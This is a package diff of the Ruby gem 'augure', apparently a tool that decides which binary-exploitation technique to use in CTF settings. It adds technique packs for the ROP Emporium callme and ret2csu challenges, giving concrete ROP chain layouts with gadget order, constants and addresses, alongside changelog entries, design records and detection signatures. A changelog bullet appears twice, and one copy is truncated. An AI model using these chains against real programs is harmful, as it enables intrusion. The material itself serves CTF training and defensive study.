augure 0.1.0 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (61) hide show
  1. checksums.yaml +4 -4
  2. data/CHANGELOG.md +36 -0
  3. data/README.md +1 -0
  4. data/docs/adr/0001-arch-abstraction-before-arm64.md +34 -0
  5. data/docs/adr/0002-arm64-deferred-until-abstraction.md +31 -0
  6. data/docs/adr/0003-pe-mach-o-out-of-scope.md +33 -0
  7. data/docs/art/prompts.md +60 -0
  8. data/{home/runner/work/augure/augure/lib → lib}/augure/version.rb +1 -1
  9. data/packs/callme.yml +66 -0
  10. data/packs/ret2csu_v2.yml +68 -0
  11. metadata +55 -52
  12. data/home/runner/work/augure/augure/exe/augure +0 -181
  13. data/home/runner/work/augure/augure/exe/augure-benchmark +0 -67
  14. data/home/runner/work/augure/augure/packs/ret2csu_v2.yml +0 -55
  15. /data/{home/runner/work/augure/augure/docs → docs}/agent-snippet.md +0 -0
  16. /data/{home/runner/work/augure/augure/docs → docs}/auditability.md +0 -0
  17. /data/{home/runner/work/augure/augure/docs → docs}/build-format.md +0 -0
  18. /data/{home/runner/work/augure/augure/docs → docs}/explanation-architecture.md +0 -0
  19. /data/{home/runner/work/augure/augure/docs → docs}/how-to-swap-solver.md +0 -0
  20. /data/{home/runner/work/augure/augure/docs → docs}/how-to-write-rules.md +0 -0
  21. /data/{home/runner/work/augure/augure/docs → docs}/pack-format.md +0 -0
  22. /data/{home/runner/work/augure/augure/docs → docs}/reference.md +0 -0
  23. /data/{home/runner/work/augure/augure/docs → docs}/tutorial.md +0 -0
  24. /data/{home/runner/work/augure/augure/examples → examples}/ret2win.facts +0 -0
  25. /data/{home/runner/work/augure/augure/examples → examples}/split.facts +0 -0
  26. /data/{home/runner/work/augure/augure/lib → lib}/augure/bandit.rb +0 -0
  27. /data/{home/runner/work/augure/augure/lib → lib}/augure/coverage.rb +0 -0
  28. /data/{home/runner/work/augure/augure/lib → lib}/augure/ctf_corpus.json +0 -0
  29. /data/{home/runner/work/augure/augure/lib → lib}/augure/engine.rb +0 -0
  30. /data/{home/runner/work/augure/augure/lib → lib}/augure/facts.rb +0 -0
  31. /data/{home/runner/work/augure/augure/lib → lib}/augure/kb_corpus.json +0 -0
  32. /data/{home/runner/work/augure/augure/lib → lib}/augure/knowledge_base.rb +0 -0
  33. /data/{home/runner/work/augure/augure/lib → lib}/augure/mcts.rb +0 -0
  34. /data/{home/runner/work/augure/augure/lib → lib}/augure/pack.rb +0 -0
  35. /data/{home/runner/work/augure/augure/lib → lib}/augure/pack_loader.rb +0 -0
  36. /data/{home/runner/work/augure/augure/lib → lib}/augure/parity.rb +0 -0
  37. /data/{home/runner/work/augure/augure/lib → lib}/augure/pipeline.rb +0 -0
  38. /data/{home/runner/work/augure/augure/lib → lib}/augure/priors.rb +0 -0
  39. /data/{home/runner/work/augure/augure/lib → lib}/augure/rules.rb +0 -0
  40. /data/{home/runner/work/augure/augure/lib → lib}/augure/smt_process.rb +0 -0
  41. /data/{home/runner/work/augure/augure/lib → lib}/augure/verifier.rb +0 -0
  42. /data/{home/runner/work/augure/augure/lib → lib}/augure.rb +0 -0
  43. /data/{home/runner/work/augure/augure/packs → packs}/banner_leak.yml +0 -0
  44. /data/{home/runner/work/augure/augure/packs → packs}/brop.yml +0 -0
  45. /data/{home/runner/work/augure/augure/packs → packs}/fastbin_hook.yml +0 -0
  46. /data/{home/runner/work/augure/augure/packs → packs}/got_partial_overwrite.yml +0 -0
  47. /data/{home/runner/work/augure/augure/packs → packs}/got_partial_overwrite_deref.yml +0 -0
  48. /data/{home/runner/work/augure/augure/packs → packs}/house_botcake.yml +0 -0
  49. /data/{home/runner/work/augure/augure/packs → packs}/house_force.yml +0 -0
  50. /data/{home/runner/work/augure/augure/packs → packs}/house_of_apple2.yml +0 -0
  51. /data/{home/runner/work/augure/augure/packs → packs}/house_orange.yml +0 -0
  52. /data/{home/runner/work/augure/augure/packs → packs}/jop.yml +0 -0
  53. /data/{home/runner/work/augure/augure/packs → packs}/large_bin_attack.yml +0 -0
  54. /data/{home/runner/work/augure/augure/packs → packs}/one_gadget.yml +0 -0
  55. /data/{home/runner/work/augure/augure/packs → packs}/orw.yml +0 -0
  56. /data/{home/runner/work/augure/augure/packs → packs}/ret2dlresolve_x86.yml +0 -0
  57. /data/{home/runner/work/augure/augure/packs → packs}/ret2partial_overwrite.yml +0 -0
  58. /data/{home/runner/work/augure/augure/packs → packs}/ret2vdso.yml +0 -0
  59. /data/{home/runner/work/augure/augure/packs → packs}/setcontext_srop.yml +0 -0
  60. /data/{home/runner/work/augure/augure/packs → packs}/uaf_tcache.yml +0 -0
  61. /data/{home/runner/work/augure/augure/packs → packs}/unsorted_bin_attack.yml +0 -0
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: b0439bafc6950f3d38a680b8187ebbba52acc7c8d0a19e12cfff0bad82555b11
4
- data.tar.gz: f9b6f194a5652122823106fa65dd5fc19f0630a2095d831da32300c5c7cc350c
3
+ metadata.gz: 6964404b275f484e9b4c5d29fede11ddef407226a1d72663f56c4d1dd766a0d8
4
+ data.tar.gz: b8d8d1cb25dae26d6b3af581988e297284e6f05469b33e3134b3196d305073de
5
5
  SHA512:
6
- metadata.gz: a97621f43eccee16165e6ab913620e8d853b9ec7cdff3c381f2dadda689cecceb269c022b9a631eb31a3e98efb8e4f6e5561bd1232ac475785bab930163c9960
7
- data.tar.gz: b428108f2757244c6da8316ef9047fb1944adf257317244bf230a4ab0acfb8c78ed9a655cf92ea218605bc6aeebcd81300da915b5f21a27b7ddfad7dd18ce28e
6
+ metadata.gz: 4964f38be7bf288d83aef415cd546437e5a9cb218593da497b9d3a4bde8f69d850554853568a60cdd23acc00bf4f86a87e2321544bf0d4caadd3d0a7248e7f76
7
+ data.tar.gz: 6d3254d5dd0e556f37477aec1da328663a598efcfaadaaec2a1b8d55f9453ac8e780aedce917340300d1accf14b65c6a47c4e792349dafba4b29ffe9dd017d14
data/CHANGELOG.md CHANGED
@@ -7,6 +7,42 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
7
7
 
8
8
  ## [Unreleased]
9
9
 
10
+ ## [0.2.0] - 2026-10-29
11
+
12
+ - The callme technique pack: three consecutive PLT calls with the
13
+ challenge's magic argument triple, the layout taught in the pack
14
+ (pop_rdi / pop_rsi_r15 / pop_rdx, no leak needed on the non-PIE
15
+ corpus binary), validated through the full armor.
16
+ - The ret2csu_v2 pack's build layout now teaches the WIN call measured
17
+ end to end on the corpus binary: the csu pair populates rsi/rdx (the
18
+ newer gcc flavor truncates edi, rdi never rides the csu), the mov
19
+ block's mandatory call lands on _fini through the .dynamic DT_FINI
20
+ cell (a no-op call preserving every argument register), the
21
+ seven-slot junk slide absorbs the loop epilogue, then pop_rdi
22
+ carries the full 64-bit first argument. The canonical puts leak
23
+ stays documented as the reference variant.
24
+ - Profiler: `pop rsi; pop r15; ret` joins the gadget vocabulary (the
25
+ callme flavor a bare `pop rsi; ret` scan cannot see).
26
+ - Profiler: the csu gadgets are located by byte signature inside
27
+ __libc_csu_init's extent - the popper fact aims at the pop rbx
28
+ epilogue (the chain entry), not at the symbol entry; the mov block
29
+ is found through the call signature (both known compiler flavors).
30
+ The entry/+0x40 guess produced unexecutable addresses.
31
+ - Profiler: a win-named IMPORT is not a win here - the ret2csu shape
32
+ imports its ret2win from the companion library (value 0); emitting
33
+ win_symbol for it made the ret2func layout build a jump to NULL.
34
+ Defined symbols only.
35
+ - Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
36
+ printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
37
+ passed to gcc so the fixture really imports printf: gcc folds the call to puts
38
+
39
+ - Profiler fixture: `#include <stdio.h>` added (gcc 14 / C23 rejects an implicit
40
+ printf declaration, breaking CI since the runner update) and `-fno-builtin-printf`
41
+ passed to gcc so the fixture really imports printf: gcc folds the call to puts
42
+ otherwise, making the vuln_hint exclusion test vacuous.
43
+ - README badge: added Datalog (the pack rules engine is the project core).
44
+ - README art recompressed: `augure-v0.png` 1.6M -> 642K, `augure-v1.png` 2.3M -> 1.1M
45
+ (256-color palette with dithering; repo weight only, no content change).
10
46
  - The `cve` fact (the CVE/KEV bridge): an agent or the operator proposes the CVE id as a fact (`cve("CVE-2024-1234").`) - the technique packs consume it like any observation. The schema + the atom grammar treat it as any string fact.
11
47
 
12
48
  - The pack DSL gains an optional `build:` section (the pack teaching the BUILDER its assembly
data/README.md CHANGED
@@ -14,6 +14,7 @@
14
14
  [![Gem Version](https://img.shields.io/gem/v/augure)](https://rubygems.org/gems/augure)
15
15
  [![Ruby](https://img.shields.io/badge/ruby-%3E%3D%203.4-ruby.svg)](https://www.ruby-lang.org/)
16
16
  [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
17
+ [![Datalog](https://img.shields.io/badge/Datalog-333333.svg)](packs/)
17
18
 
18
19
  Every exploitation framework answers *"how do I run this technique?"*.
19
20
  **Augure answers the question nobody automates: *"which technique should run,
@@ -0,0 +1,34 @@
1
+ # ADR 0001: the arch abstraction before any port
2
+
3
+ ## Status
4
+
5
+ Accepted (2026-10-04). Execution planned after the spine repairs; the
6
+ abstraction work happens opportunistically when the profiler files are
7
+ touched anyway.
8
+
9
+ ## Context
10
+
11
+ The x64/x86 branch is pasted six times across the profiler gem
12
+ (profiler.rb:95, gadget_hunt.rb, static_offset.rb x2, shellcode.rb x2):
13
+ arch selection, gadget byte patterns, frame-read heuristics, shellcode
14
+ sources and encoder register names all assume x86/x64 inline. Adding a
15
+ third architecture today means touching every one of those sites and
16
+ hoping nothing was missed; the fact schema carries no arch field, so
17
+ gadget type names (jmp_rsp vs jmp_esp) are the only implicit carrier.
18
+
19
+ ## Decision
20
+
21
+ Extract an `AugureProfiler::Arch` abstraction FIRST, before any port:
22
+ per-arch gadget byte patterns, word width, metasm cpu class, frame-read
23
+ heuristics, and shellcode source keys. The six call sites become one
24
+ lookup. Consumers (payload_builder, the encoders) read the abstraction,
25
+ never the branch.
26
+
27
+ ## Consequences
28
+
29
+ - A new arch (ARM64) becomes data plus one new Arch definition, not
30
+ surgery across six files - see ADR 0002.
31
+ - The refactor is behavior-preserving for x64/x86: the frozen corpus
32
+ and the ROP Emporium parity job are the regression contract.
33
+ - The fact schema gains an arch dimension only when a second arch
34
+ actually lands (YAGNI until then).
@@ -0,0 +1,31 @@
1
+ # ADR 0002: ARM64 support is deferred, gated on the arch abstraction
2
+
3
+ ## Status
4
+
5
+ Accepted (2026-10-04). Planned after ADR 0001's abstraction lands.
6
+
7
+ ## Context
8
+
9
+ The modern CTF world is increasingly ARM64 (Raspberry Pi, phones,
10
+ boards), and the tool is x86/x64-only. The decision layer (rules,
11
+ packs, engine, bandit, MCTS) is architecture-neutral already; the cost
12
+ is entirely in the profiler. Porting today, with the arch branch pasted
13
+ six times (ADR 0001), is the expensive order of work.
14
+
15
+ ## Decision
16
+
17
+ ARM64 comes AFTER the `AugureProfiler::Arch` abstraction. The port
18
+ itself is then: arm64 gadget patterns, AArch64 cpu in GadgetHunt and
19
+ StaticOffset, arm64 shellcode sources and equivalence pools, encoder
20
+ register names. The pack DSL needs no change (a pack already says
21
+ `match gadget csu` - the naming vocabulary carries the arch).
22
+
23
+ ## Consequences
24
+
25
+ - We accept being x86/x64-only for now; that is where the current
26
+ corpus (33 frozen targets), the lab and the parity harness live.
27
+ - The deferred port is cheap by construction: data plus one Arch, no
28
+ surgery. Anything profiling-shaped learned meanwhile (new gadget
29
+ classes, PE work) should be written arch-aware from the start.
30
+ - QEMU user-mode targets can exercise arm64 profiling in CI when the
31
+ port lands.
@@ -0,0 +1,33 @@
1
+ # ADR 0003: PE/Windows (and Mach-O) are out of scope for v0.x
2
+
3
+ ## Status
4
+
5
+ Accepted (2026-10-04). A documented renouncement, not an oversight.
6
+
7
+ ## Context
8
+
9
+ Professional red teams live substantially on Windows, and PE support
10
+ would open that market. But the entire read path is ELF-specific:
11
+ metasm ELF decoding, GNU_STACK/GNU_RELRO parsing, .plt/.plt.sec
12
+ layouts, GOT mechanics in the layouts, the triage backends (gdb),
13
+ checksec facts keyed to ELF structures. The fact schema itself
14
+ (nx/pie/canary/relro...) is mostly reusable; the profiler is not.
15
+
16
+ ## Decision
17
+
18
+ PE (and Mach-O) are out of scope for v0.x. No shim, no half-port, no
19
+ "experimental" PE path that mislabels facts. When the abstraction debt
20
+ from ADR 0001 is paid and the core loop (decide -> build -> run ->
21
+ learn) is closed, a PE profiler is the natural second front - as a
22
+ parallel Profiler class emitting the same fact vocabulary, with
23
+ Windows-specific facts added to the schema deliberately.
24
+
25
+ ## Consequences
26
+
27
+ - We renounce the Windows red-team market explicitly for now; the
28
+ positioning says binary exploitation on ELF/Linux, honestly.
29
+ - The fact schema is designed to stay format-neutral so the future PE
30
+ emitter is additive, not a rewrite.
31
+ - Nothing in the current rules or packs is expected to transfer
32
+ unvalidated: Windows techniques (FSOP, cfg bypass...) would enter as
33
+ packs with their own provenance, like every other technique.
@@ -0,0 +1,60 @@
1
+ # The roman banners
2
+
3
+ The two README banners share one style and one set of prompts - kept
4
+ here for reproducibility. Regenerate freely; keep the iconography.
5
+
6
+ ## Style commun
7
+
8
+ Ultra-wide 16:3, dark charcoal, "modern antiquity": black marble,
9
+ brass, toga silhouettes, data-stream light (amber + teal), flat
10
+ vector minimalism, museum-poster aesthetic, NO TEXT (image models
11
+ mangle letters).
12
+
13
+ ## augure (v1) - the augur reads the birds
14
+
15
+ The augur's iconography: the LITUUS (the curved staff), the TEMPLUM
16
+ (the sky divided in quadrants), the birds' flight = the signs read;
17
+ the teal star at the convergence = the verdict.
18
+
19
+ ```
20
+ Ultra-wide cinematic banner, 16:3, dark charcoal sky at dusk. A
21
+ modern Roman AUGUR stands in profile on a high black-marble terrace:
22
+ a hooded figure in a dark toga with a thin gold trim, holding a
23
+ brass LITUUS - the curved augur staff - raised toward the sky. Above
24
+ him, the night sky is divided into four large rectangular quadrants
25
+ (the ancient templum, drawn in faint glowing gold lines), and
26
+ through them fly BIRDS rendered as glowing amber data-arcs - each
27
+ flight path traced with fine telemetry dots like instrument
28
+ readings. One quadrant burns brighter: a teal star pulses at the
29
+ convergence of the flight paths - the verdict the augur reads. Below
30
+ the terrace, a dark circuit-board cityscape glitters. Roman
31
+ antiquity fused with precision engineering: marble, brass, toga
32
+ silhouette, data-stream birds. Flat vector minimalism with subtle
33
+ gradients, high-end museum-poster aesthetic, muted amber/copper/teal
34
+ on charcoal, NO TEXT, no letters, no logos.
35
+ ```
36
+
37
+ ## lictor (v1) - the fasces of fiber, the trail behind
38
+
39
+ The lictor's iconography: the FASCES (the bound rods + the blade =
40
+ the power to execute) rendered in fiber-optic; the luminous
41
+ footprints behind = the trail; one door open, the others sealed; the
42
+ laurel arch = the judgment carried out.
43
+
44
+ ```
45
+ Ultra-wide cinematic banner, 16:3, dark charcoal. A modern Roman
46
+ LICTOR walks left to right along a black-marble road in profile: a
47
+ disciplined hooded figure in a dark toga, carrying on his shoulder
48
+ the FASCES reimagined - a bundle of glowing fiber-optic rods bound
49
+ together with a brass laurel band, one thin polished blade
50
+ protruding from the bundle. Behind him, the road shows a trail of
51
+ luminous teal footprints receding into the dark - every step
52
+ recorded. Ahead of him stands a massive dark gate whose mechanisms
53
+ (a gear, a lever, a coil) animate faintly with amber light as he
54
+ approaches; one door stands open, lit from within. At the far right
55
+ edge, a subtle laurel-wreath arch marks the destination. Roman
56
+ antiquity fused with precision engineering: marble, brass, toga
57
+ silhouette, fiber-optic fasces. Flat vector minimalism with subtle
58
+ gradients, high-end museum-poster aesthetic, muted teal/copper/amber
59
+ on charcoal, NO TEXT, no letters, no logos.
60
+ ```
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module Augure
4
- VERSION = "0.1.0"
4
+ VERSION = "0.2.0"
5
5
  end
data/packs/callme.yml ADDED
@@ -0,0 +1,66 @@
1
+ # Canonique: le modele de technique pack pour agents et operateurs.
2
+ # Structure, vocabulaire et limites: voir docs/pack-format.md.
3
+ technique: callme
4
+ author: Gregory Epp
5
+ source: https://ropemporium.com/challenge/callme.html
6
+
7
+ rules:
8
+ - id: app_callme
9
+ head: [applicable, callme]
10
+ conditions:
11
+ - [fact, vuln, sof]
12
+ - [fact, nx, true]
13
+ - [fact, pie, false]
14
+ - [fact, plt, callme_one]
15
+ - [fact, plt, callme_two]
16
+ - [fact, plt, callme_three]
17
+ - [match, gadget, 0, pop_rdi]
18
+ - [match, gadget, 0, pop_rsi_r15]
19
+ - [match, gadget, 0, pop_rdx]
20
+
21
+ kb:
22
+ - id: callme_001
23
+ technique: callme
24
+ description: >
25
+ Three consecutive PLT calls (callme_one/two/three), each with the
26
+ challenge's magic argument triple; the third call decrypts the
27
+ encrypted flag and prints it. rdi rides pop_rdi, rsi rides
28
+ pop_rsi_r15 (a dud r15 follows), rdx rides pop_rdx - all full
29
+ 64-bit values, no leak needed (non-PIE, everything static).
30
+ chain: [pop_rdi, pop_rsi_r15, pop_rdx, callme_one, callme_two, callme_three]
31
+ unlocks: [flag]
32
+ success_rate: 0.9
33
+
34
+ mcts:
35
+ requires: []
36
+ provides: [flag]
37
+ terminal: true
38
+ success: 0.85
39
+
40
+ priors: [10, 1]
41
+
42
+ # The assembly order, resolved by lictor's builder from the facts. The
43
+ # argument triple is the corpus's magic (0xdeadbeefdeadbeef,
44
+ # 0xcafebabecafebabe, 0xd00df00dd00df00d) written as decimal consts;
45
+ # the r15 slot of pop_rsi_r15 is a dud (const:0). Measured on the
46
+ # x86_64 corpus binary: no alignment word needed between the calls.
47
+ build:
48
+ technique: callme
49
+ layout:
50
+ - [padding, measured_offset]
51
+ - [chain, "gadget:pop_rdi_ret", "const:16045690984833335023",
52
+ "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
53
+ "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_one",
54
+ "gadget:pop_rdi_ret", "const:16045690984833335023",
55
+ "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
56
+ "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_two",
57
+ "gadget:pop_rdi_ret", "const:16045690984833335023",
58
+ "gadget:pop_rsi_r15_ret", "const:14627333968358193854", "const:0",
59
+ "gadget:pop_rdx_ret", "const:14991902676702064653", "plt_addr:callme_three"]
60
+
61
+ # The defender side (the corpus read backwards): what this technique
62
+ # looks like to the defenses. Armored by check 9.
63
+ detection:
64
+ - channel: crash
65
+ signature: "three consecutive calls into one shared library through pop chains"
66
+ note: "the triplet pattern repeating three times on the stack"
@@ -0,0 +1,68 @@
1
+ # Canonique: le modele de technique pack pour agents et operateurs.
2
+ # Structure, vocabulaire et limites: voir docs/pack-format.md.
3
+ technique: ret2csu_v2
4
+ author: Gregory Epp
5
+ source: https://ropemporium.com/challenge/ret2csu.html
6
+
7
+ rules:
8
+ - id: app_ret2csu_v2
9
+ head: [applicable, ret2csu_v2]
10
+ conditions:
11
+ - [fact, vuln, sof]
12
+ - [fact, nx, true]
13
+ - [match, gadget, 0, csu]
14
+
15
+ kb:
16
+ - id: ret2csu_v2_001
17
+ technique: ret2csu_v2
18
+ description: >
19
+ __libc_csu_init universal gadget populates rdx/rsi in
20
+ gadget-sparse binaries; the popper and mov gadgets enable
21
+ controlled multi-argument calls. The newer gcc flavor (mov
22
+ rdx,r15; mov rsi,r14; mov edi,r13d) truncates edi to 32 bits, so
23
+ rdi NEVER rides the csu: a separate pop_rdi loads the full
24
+ 64-bit first argument after the mov block. The mov block's
25
+ mandatory call lands on _fini through the .dynamic DT_FINI cell
26
+ (rbx=0: the cell holds a real function pointer, the call is a
27
+ no-op that preserves every argument register), the seven-slot
28
+ junk slide absorbs the loop epilogue.
29
+ chain: [csu_popper, csu_mov, pop_rdi, target_fn]
30
+ unlocks: [flag]
31
+ success_rate: 0.75
32
+
33
+ mcts:
34
+ requires: []
35
+ provides: [flag]
36
+ terminal: true
37
+ success: 0.70
38
+
39
+ priors: [14, 6]
40
+
41
+ # The assembly order, resolved by lictor's builder from the facts: the
42
+ # csu popper enters at pop rbx (the profiler aims the epilogue, not the
43
+ # symbol entry), rbx=0 and rbp=1 end the loop after one call, r12 = the
44
+ # .dynamic cell holding _fini's address (the DT_FINI entry at 0x600e48
45
+ # on the x86_64 corpus binary, const in decimal), r14/r15 carry the
46
+ # challenge's second and third magic arguments. The mov block's arg
47
+ # mapping is the NEWER flavor (rdx=r15, rsi=r14, edi=r13d): the win
48
+ # call is ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe,
49
+ # 0xd00df00dd00df00d), measured end to end on the corpus binary. The
50
+ # canonical puts(puts@got) leak stays the reference variant: swap the
51
+ # consts to got_addr:puts and end the chain on a leak:main instead.
52
+ build:
53
+ technique: ret2csu_v2
54
+ layout:
55
+ - [padding, measured_offset]
56
+ - [chain, "gadget:csu_popper", "const:0", "const:1", "const:6295112",
57
+ "const:0", "const:14627333968358193854", "const:14991902676702064653",
58
+ "gadget:csu_mov",
59
+ "const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0",
60
+ "gadget:pop_rdi_ret", "const:16045690984833335023", "plt_addr:ret2win"]
61
+
62
+
63
+ # The defender side (the corpus read backwards): what this technique
64
+ # looks like to the defenses. Armored by check 9.
65
+ detection:
66
+ - channel: crash
67
+ signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
68
+ note: "the csu chain issuing calls"
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: augure
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.0
4
+ version: 0.2.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Gregory Epp
@@ -20,62 +20,65 @@ executables:
20
20
  extensions: []
21
21
  extra_rdoc_files: []
22
22
  files:
23
- - "/home/runner/work/augure/augure/docs/agent-snippet.md"
24
- - "/home/runner/work/augure/augure/docs/auditability.md"
25
- - "/home/runner/work/augure/augure/docs/build-format.md"
26
- - "/home/runner/work/augure/augure/docs/explanation-architecture.md"
27
- - "/home/runner/work/augure/augure/docs/how-to-swap-solver.md"
28
- - "/home/runner/work/augure/augure/docs/how-to-write-rules.md"
29
- - "/home/runner/work/augure/augure/docs/pack-format.md"
30
- - "/home/runner/work/augure/augure/docs/reference.md"
31
- - "/home/runner/work/augure/augure/docs/tutorial.md"
32
- - "/home/runner/work/augure/augure/examples/ret2win.facts"
33
- - "/home/runner/work/augure/augure/examples/split.facts"
34
- - "/home/runner/work/augure/augure/exe/augure"
35
- - "/home/runner/work/augure/augure/exe/augure-benchmark"
36
- - "/home/runner/work/augure/augure/lib/augure.rb"
37
- - "/home/runner/work/augure/augure/lib/augure/bandit.rb"
38
- - "/home/runner/work/augure/augure/lib/augure/coverage.rb"
39
- - "/home/runner/work/augure/augure/lib/augure/ctf_corpus.json"
40
- - "/home/runner/work/augure/augure/lib/augure/engine.rb"
41
- - "/home/runner/work/augure/augure/lib/augure/facts.rb"
42
- - "/home/runner/work/augure/augure/lib/augure/kb_corpus.json"
43
- - "/home/runner/work/augure/augure/lib/augure/knowledge_base.rb"
44
- - "/home/runner/work/augure/augure/lib/augure/mcts.rb"
45
- - "/home/runner/work/augure/augure/lib/augure/pack.rb"
46
- - "/home/runner/work/augure/augure/lib/augure/pack_loader.rb"
47
- - "/home/runner/work/augure/augure/lib/augure/parity.rb"
48
- - "/home/runner/work/augure/augure/lib/augure/pipeline.rb"
49
- - "/home/runner/work/augure/augure/lib/augure/priors.rb"
50
- - "/home/runner/work/augure/augure/lib/augure/rules.rb"
51
- - "/home/runner/work/augure/augure/lib/augure/smt_process.rb"
52
- - "/home/runner/work/augure/augure/lib/augure/verifier.rb"
53
- - "/home/runner/work/augure/augure/lib/augure/version.rb"
54
- - "/home/runner/work/augure/augure/packs/banner_leak.yml"
55
- - "/home/runner/work/augure/augure/packs/brop.yml"
56
- - "/home/runner/work/augure/augure/packs/fastbin_hook.yml"
57
- - "/home/runner/work/augure/augure/packs/got_partial_overwrite.yml"
58
- - "/home/runner/work/augure/augure/packs/got_partial_overwrite_deref.yml"
59
- - "/home/runner/work/augure/augure/packs/house_botcake.yml"
60
- - "/home/runner/work/augure/augure/packs/house_force.yml"
61
- - "/home/runner/work/augure/augure/packs/house_of_apple2.yml"
62
- - "/home/runner/work/augure/augure/packs/house_orange.yml"
63
- - "/home/runner/work/augure/augure/packs/jop.yml"
64
- - "/home/runner/work/augure/augure/packs/large_bin_attack.yml"
65
- - "/home/runner/work/augure/augure/packs/one_gadget.yml"
66
- - "/home/runner/work/augure/augure/packs/orw.yml"
67
- - "/home/runner/work/augure/augure/packs/ret2csu_v2.yml"
68
- - "/home/runner/work/augure/augure/packs/ret2dlresolve_x86.yml"
69
- - "/home/runner/work/augure/augure/packs/ret2partial_overwrite.yml"
70
- - "/home/runner/work/augure/augure/packs/ret2vdso.yml"
71
- - "/home/runner/work/augure/augure/packs/setcontext_srop.yml"
72
- - "/home/runner/work/augure/augure/packs/uaf_tcache.yml"
73
- - "/home/runner/work/augure/augure/packs/unsorted_bin_attack.yml"
74
23
  - CHANGELOG.md
75
24
  - LICENSE
76
25
  - README.md
26
+ - docs/adr/0001-arch-abstraction-before-arm64.md
27
+ - docs/adr/0002-arm64-deferred-until-abstraction.md
28
+ - docs/adr/0003-pe-mach-o-out-of-scope.md
29
+ - docs/agent-snippet.md
30
+ - docs/art/prompts.md
31
+ - docs/auditability.md
32
+ - docs/build-format.md
33
+ - docs/explanation-architecture.md
34
+ - docs/how-to-swap-solver.md
35
+ - docs/how-to-write-rules.md
36
+ - docs/pack-format.md
37
+ - docs/reference.md
38
+ - docs/tutorial.md
39
+ - examples/ret2win.facts
40
+ - examples/split.facts
77
41
  - exe/augure
78
42
  - exe/augure-benchmark
43
+ - lib/augure.rb
44
+ - lib/augure/bandit.rb
45
+ - lib/augure/coverage.rb
46
+ - lib/augure/ctf_corpus.json
47
+ - lib/augure/engine.rb
48
+ - lib/augure/facts.rb
49
+ - lib/augure/kb_corpus.json
50
+ - lib/augure/knowledge_base.rb
51
+ - lib/augure/mcts.rb
52
+ - lib/augure/pack.rb
53
+ - lib/augure/pack_loader.rb
54
+ - lib/augure/parity.rb
55
+ - lib/augure/pipeline.rb
56
+ - lib/augure/priors.rb
57
+ - lib/augure/rules.rb
58
+ - lib/augure/smt_process.rb
59
+ - lib/augure/verifier.rb
60
+ - lib/augure/version.rb
61
+ - packs/banner_leak.yml
62
+ - packs/brop.yml
63
+ - packs/callme.yml
64
+ - packs/fastbin_hook.yml
65
+ - packs/got_partial_overwrite.yml
66
+ - packs/got_partial_overwrite_deref.yml
67
+ - packs/house_botcake.yml
68
+ - packs/house_force.yml
69
+ - packs/house_of_apple2.yml
70
+ - packs/house_orange.yml
71
+ - packs/jop.yml
72
+ - packs/large_bin_attack.yml
73
+ - packs/one_gadget.yml
74
+ - packs/orw.yml
75
+ - packs/ret2csu_v2.yml
76
+ - packs/ret2dlresolve_x86.yml
77
+ - packs/ret2partial_overwrite.yml
78
+ - packs/ret2vdso.yml
79
+ - packs/setcontext_srop.yml
80
+ - packs/uaf_tcache.yml
81
+ - packs/unsorted_bin_attack.yml
79
82
  homepage: https://github.com/log0u7/augure
80
83
  licenses:
81
84
  - MIT
@@ -1,181 +0,0 @@
1
- #!/usr/bin/env ruby
2
- # frozen_string_literal: true
3
-
4
- require "json"
5
- require "optparse"
6
- require_relative "../lib/augure"
7
-
8
- VERSION_LINE = "augure #{Augure::VERSION}"
9
-
10
- options = {json: false, seed: nil}
11
- parser = OptionParser.new do |opts|
12
- opts.banner = <<~USAGE
13
-
14
- #{VERSION_LINE} - the auditable exploitation decision layer
15
-
16
- Usage:
17
- augure analyze <facts-file | -> [options] decide on facts
18
- augure coverage [options] the corpus read backwards (defender side)
19
- augure doctor verify the environment
20
- augure rules print the rules-as-data table
21
- augure explain <technique> rules + knowledge for one technique
22
- augure --version print the version
23
-
24
- analyze options:
25
- USAGE
26
- opts.on("-j", "--json", "Emit the decision as JSON (schema: augure/decision@1)") { options[:json] = true }
27
- opts.on("-s", "--seed N", Integer, "Seed for deterministic bandit/MCTS") { |n| options[:seed] = n }
28
- opts.on("--packs DIR", "Load technique packs (armor + corpus guard) for analyze/explain") { |v| options[:packs] = v }
29
- opts.on("--flip NAME:VALUE", "Coverage: a hardening flip (nx:true, canary:true, relro:full; NAME:nil removes)") do |v|
30
- name, value = v.split(":", 2)
31
- (options[:flips] ||= {})[name] = ((value == "nil") ? nil : value)
32
- end
33
- opts.on("--facts FILE", "Coverage: one facts entry instead of the corpus") { |v| options[:facts_entry] = v }
34
- opts.on("--mitre", "rules: export the ATT&CK navigator layer (from the packs' mitre: fields)") { options[:mitre] = true }
35
- opts.on("--version", "Print the version") do
36
- puts VERSION_LINE
37
- exit 0
38
- end
39
- opts.on("-h", "--help", "Show this help") do
40
- puts opts
41
- exit 0
42
- end
43
- end
44
- parser.parse!
45
-
46
- command = ARGV.shift
47
-
48
- case command
49
- when "--version", "-v"
50
- puts VERSION_LINE
51
- when "doctor"
52
- checks = []
53
- checks << ["ruby >= 3.4", (RUBY_VERSION >= "3.4") ? nil : "upgrade ruby (mise install ruby@3.4)"]
54
- checks << [VERSION_LINE, nil]
55
-
56
- # The corpus self-verifies: parse a shipped example, decide, compare.
57
- begin
58
- example = File.join(__dir__, "../examples/ret2win.facts")
59
- result = Augure::Pipeline.analyze(facts: File.read(example))
60
- checks << if result[:ranking].first == "ret2func"
61
